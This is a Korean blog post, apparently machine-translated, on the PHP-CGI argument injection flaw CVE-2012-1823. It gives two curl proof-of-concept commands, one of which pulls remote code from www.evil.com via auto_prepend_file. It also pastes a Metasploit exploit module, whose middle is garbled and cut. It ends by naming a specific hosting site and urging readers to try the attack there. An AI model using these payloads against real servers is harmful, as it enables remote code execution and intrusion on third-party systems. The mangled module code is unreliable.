CVE - 2012 - 1823 (PHP - CGI RCE) 의 PoC 및 기술 도전

6130 단어 Web코드 주입
해외 에 서 는 또 하나의 소 가 반 짝 이 는 phop cgi 원 격 임 의 코드 실행 구멍 을 발표 했다.http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
 
대충 보면 해 가 없 는 것 같 습 니 다. phop 이 예방 을 했 기 때문에 cgi 라 는 sapi 에 서 는 - r, - f 등 명령 을 직접 수행 하 는 인 자 를 사용 할 수 없습니다.소수의 매개 변수 만 사용 할 수 있 기 때문에 공고 에서 도 - s 매개 변 수 를 사용 하여 원본 파일 을 읽 는 poc 를 제공 합 니 다.
 
또한 RCE 에 관 한 PoC 원문 은 제시 되 지 않 았 으 나 원 격 으로 코드 를 실행 할 수 있다 는 것 을 설명 한다.그럼 어떻게 했 을 까?대충 생각해 보 니 이용 할 수 있 는 매개 변 수 는 하나의 - d 매개 변수 만 있 고 역할 은 phop 에 ini 의 값 을 정의 하 는 것 입 니 다. 
그럼 이 걸 이용해서 뭘 할 수 있 을까요?나 는 다음 과 같은 두 RCE 의 PoC 방안 을 제시한다. 
1. 로 컬 에는 직접 실행 코드 가 포함 되 어 있 습 니 다. 
curl -H "USER-AGENT: " http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n 
2. 원 격 실행 코드 포함: 
curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt 
테스트 를 통 해 상기 두 가 지 는 모두 가능 하지만 사실은 파일 을 포함 하 는 두 가지 사용 일 뿐이다. 
여러분, 규 제 를 피해 원 격 으로 코드 를 실행 할 수 있 는 또 어떤 방법 이 있 는 지 보 세 요.이것 은 매우 재 미 있 는 기술 도전 이 될 것 이다. 
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/        http://ompldr.org/vZGxxaQ        http://zone.wooyun.org/content/151        http://www.php-security.net/archives/9-New-PHP-CGI-exploit-CVE-2012-1823.html        http://www.php-security.net/archives/11-Mitigation-for-CVE-2012-1823-CVE-2012-2311.html
MetaSploit         :

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

load 'lib/msf/core/exploit/http/server.rb'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PHP CGI Argument Injection',
            'Description'    => %q{
                When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
                an argument injection vulnerability.  This module takes advantage of
                the -d flag to set php.ini directives to achieve code execution.
                From the advisory: "if there is NO unescaped ‘=’ in the query string,
                the string is split on ‘+’ (encoded space) characters, urldecoded,
                passed to a function that escapes shell metacharacters (the “encoded in
                a system-defined manner” from the RFC) and then passes them to the CGI
                binary."
            },
            'Author'         => [ 'egypt', 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     => [
                    [ "CVE"    , "2012-1823" ],
                    [ "URL"    , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    # Arbitrary big number. The payload gets sent as an HTTP
                    # response body, so really it's unlimited
                    'Space'       => 262144, # 256k
                },
            'DisclosureDate' => 'May 03 2012',
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0))

        register_options([
            OptString.new('TARGETURI', [false, "The URI to request"]),
            ], self.class)
    end

    # php-cgi -h
    # ...
    #   -s               Display colour syntax highlighted source.
    def check
        uri = target_uri.path
        if(uri and ! uri.empty?)
            uri.gsub!(/\?.*/, "")

            print_status("Checking uri #{uri}")

            response = send_request_raw({ 'uri' => uri })

            if response and response.code == 200 and response.body =~ /\\ uri + '?-s'})
            if response and response.code == 200 and response.body =~ /\\ "POST",
                'global' => true,
                'uri'    => uri,
                'data'   => payload_oneline,
            }, 0.1)
            handler

        rescue ::Interrupt
            raise $!
        rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
            print_error("The target service unreachable")
        rescue ::OpenSSL::SSL::SSLError
            print_error("The target failed to negotiate SSL, is this really an SSL service?")
        end
    end

    def rand_php_ini_false
        [ "0", "off", "false" ].sort_by{rand}.first
    end

    def rand_php_ini_true
        [ "1", "on", "true" ].sort_by{rand}.first
    end

end

현재 대부분의 가상 호스트 공급 업 체 는 CGI 방식 입 니 다. 예 를 들 어:
 http://www.yihengit.com.cn/php.php 
관심 있 으 면 한번 해 보 세 요.

좋은 웹페이지 즐겨찾기